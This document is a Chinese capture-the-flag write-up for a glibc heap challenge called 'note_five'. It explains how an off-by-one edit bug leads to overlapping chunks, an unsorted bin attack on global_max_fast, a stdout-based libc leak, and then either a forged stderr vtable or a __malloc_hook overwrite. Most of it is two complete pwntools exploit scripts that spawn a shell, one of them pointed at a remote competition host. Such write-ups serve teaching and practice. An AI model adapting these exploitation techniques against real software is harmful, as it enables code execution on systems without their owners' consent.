阅读大佬的wp后复现了一下本题的多种解法

题目分析

  • 本题是一道菜单题,只有new、edit和delete功能,没有show功能。不存在UAF。

  • edit所用的输入函数存在Off-By-One漏洞
    在这里插入图片描述

  • chunk 的大小限制在 0x8f ~ 0x400

解题思路1(exp见文末)

利用Off-By-One漏洞构造Overlapping,构造块的bk 为global_max_fast -0x10unsorted bin attack 修改global_max_fast;利用 stdout-0x51处的 0xff 作为 chunk 的 size,fast bin attack_IO_2_1_stdout_附近分配chunk,修改_IO_write_base中的值,使它指向想要泄露的地址(stdout+0x20),泄露libc;伪造 stderr ,最终触发 IO_flush_all来 getshell。

此处只细讲泄露libc base后伪造stderr的部分,前面部分请看exp的注释。

伪造 _IO_FILE需要满足的条件如下,满足其一即可:
在这里插入图片描述
一般条件1较容易构造,但因为分配的块位于stdout-0x41,可以同时控制_IO_2_1_stderr_vtablewide_data,所以可以构造条件2。

  • stderr 本身满足 fp->_vtable_offset == 0,不用改

  • 构造mode fp->_mode > 0 _wide_data (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))

    fake_file=''
    fake_file+='0'
    fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)#fp->_wide_data
    fake_file+=p64(0)
    fake_file+=p64(0)
    fake_file+=p64(0)
    fake_file+=p64(0x1)#fp->_mode > 0 
    fake_file+=p64(0x0)
    fake_file+=p64(0x0)
    fake_file+=p64(vtable_address) #fp->vtable

    构造的_IO_2_1_stderr_如下

    构造的fd->_wide_data
    构造的fd->_wide_data

  • 最后构造vtable,vtable->_IO_OVERFLOW为one_gadget

    fake_file=''
    fake_file+='0'
    fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)
    fake_file+=p64(0)
    fake_file+=p64(0)
    fake_file+=p64(0)#stderr->vtable->dummy nobody care |
    fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
    fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
    fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
    fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable

解题思路2(exp见文末)

泄露libc的方法和解题思路1一样,不再赘述;泄露libc后改malloc_hookone_gadget,但malloc_hook低地址处可用的size除了0x7f,最近的只有位于__malloc_hook-0x1a1的0xff,不过可以通过构造两次chunk,第1个chunk写入1个size提供给第2个chunk,最终控制malloc_hook。
在这里插入图片描述
构造第1个chunk:先free掉overlap的那块,改fd为0xff所在的地址,再malloc两次即可,然后在适当的位置(我选择的__malloc_hook'-0xb8)填入size(0xf1)

delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)

new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)

构造第2块还是先把overlap的那块free掉,把fd改为第一块构造size的地址__malloc_hook'-0xb8,再malloc两次。另外直接改malloc_hook的话rax和栈都不满足要求,加上realloc+13的偏移后rsp+0x30是0(耶)。

delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)

new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)

本文所用exp

exp1
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
    io = process('./note_five')
else:
    client=remote("112.126.103.195",9999)
elf = ELF('./note_five')
libc = ELF('./libc.so')

def new(idx,size):
    io.recvuntil('choice>> ')
    io.sendline('1')
    io.recvuntil('idx: ')
    io.sendline(str(idx))
    io.recvuntil('size: ')
    io.sendline(str(size))

def edit(idx,content):
    io.recvuntil('choice>> ')
    io.sendline('2')
    io.recvuntil('idx: ')
    io.sendline(str(idx))
    io.recvuntil('content: ')
    io.sendline(content)

def delete(idx):
    io.recvuntil('choice>> ')
    io.sendline('3')
    io.recvuntil('idx: ')
    io.sendline(str(idx))

#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)

content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)

content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)

content2=''
content2+=p64(0xf1)*20
edit(2,content2)

content3=''
content3+='3'*(0xf0-8)
edit(3,content3)

delete(2)#free (012) to unsorted bin

new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)

content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)

delete(1)#free 1 to unsorted bin


#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8

#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast


content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)

#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)

new(4,0xf0-8)
new(4,0xf0-8)

fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)

libc.address = u64(io.recv(8))-0x3c5640

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc.address+one_gadgets[2]

#change the stderr to 
fake_file=''
fake_file+='0'
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x40)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)#stderr->vtable->dummy nobody care |
fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable
edit(4,fake_file)

#getshell
io.recvuntil('choice>> ')
io.sendline('4')#IO_flush_all to _IO_OVERFLOW to onegadget

io.interactive()
exp2
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
    io = process('./note_five.dms')
else:
    client=remote("112.126.103.195",9999)
elf = ELF('./note_five.dms')
libc = ELF('./libc.so')

def new(idx,size):
    io.recvuntil('choice>> ')
    io.sendline('1')
    io.recvuntil('idx: ')
    io.sendline(str(idx))
    io.recvuntil('size: ')
    io.sendline(str(size))

def edit(idx,content):
    io.recvuntil('choice>> ')
    io.sendline('2')
    io.recvuntil('idx: ')
    io.sendline(str(idx))
    io.recvuntil('content: ')
    io.sendline(content)

def delete(idx):
    io.recvuntil('choice>> ')
    io.sendline('3')
    io.recvuntil('idx: ')
    io.sendline(str(idx))

#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)

content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)

content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)

content2=''
content2+=p64(0xf1)*20
edit(2,content2)

content3=''
content3+='3'*(0xf0-8)
edit(3,content3)

delete(2)#free (012) to unsorted bin

new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)

content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)

delete(1)#free 1 to unsorted bin


#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8

#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast


content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)

#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)

new(1,0xf0-8)
new(4,0xf0-8)

fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)

libc.address = u64(io.recvuntil('info')[0:8])-0x3c5640

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]#rax 30 50 70
one_gadget=libc.address+one_gadgets[1]

#change malloc_hook
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)

new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)

delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)

new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)

#getshell
new(4,1000)

io.interactive()